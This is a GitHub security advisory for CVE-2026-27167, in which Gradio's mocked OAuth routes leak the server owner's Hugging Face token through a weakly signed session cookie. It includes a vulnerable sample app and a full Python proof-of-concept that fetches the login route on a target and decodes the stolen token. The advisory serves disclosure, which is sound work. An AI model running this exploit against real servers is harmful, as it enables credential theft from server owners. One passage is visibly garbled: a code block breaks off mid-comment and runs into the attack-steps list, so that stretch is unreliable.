GitHub Advisoryadvisory · PyPI

GHSA-h3h8-3v2v-rg7m Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret

LOW Published 2026-03-01 Modified 2026-06-05 Official page ↗
Aliases
CVE-2026-27167
Ecosystem
PyPI
Packages
gradio
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
Weaknesses
CWE-522, CWE-798
Reviewed
2026-03-01

Affected packages

• PyPI gradio: >= 4.16.0, < 6.6.0 → fixed in 6.6.0

Description

Summary Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable. Affected Component `gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`. Root Cause Analysis 1. Real token injected into every visitor's session When Gradio detects it is not running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44). The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the real HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of any visitor who hits `/login/callback` (line 183): ```python request.session["oauth_info"] = mocked_oauth_info ``` The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329): ```python return { "access_token": token, # :7860/login/huggingface` 2. The server responds with a 307 redirect to `/login/callback` 3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token 4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token` Minimal Vulnerable Application ```python import gradio as gr from huggingface_hub import login login(token="hf_xxx...") def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}" with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attach_load_event(hello, None) demo.launch(server_name="0.0.0.0") ``` Proof of Concept ```python !/usr/bin/env python3 """ POC: Gradio mocked OAuth leaks server's HF token via session + weak secret Usage: python exploit.py --target http://victim:7860 python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080 """ import argparse import base64 import json import sys import requests def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parse_args() base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None # 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies) cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1) # 2. Decode the cookie payload (base64 before the first ".") payload_b64 = cookie.split(".")[0] payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding data = json.loads(base64.b64decode(payload_b64)) token = data.get("oauth_info", {}).get("access_token") if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No access_token found in session.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() ```

Related

Alias · CVE (1)

  • CVE-2026-27167 Gradio is an open-source Python package designed for quick prototyping. vulnerability

Weakness · CWE (2)

  • CWE-522 Insufficiently Protected Credentials weakness
  • CWE-798 Use of Hard-coded Credentials weakness

References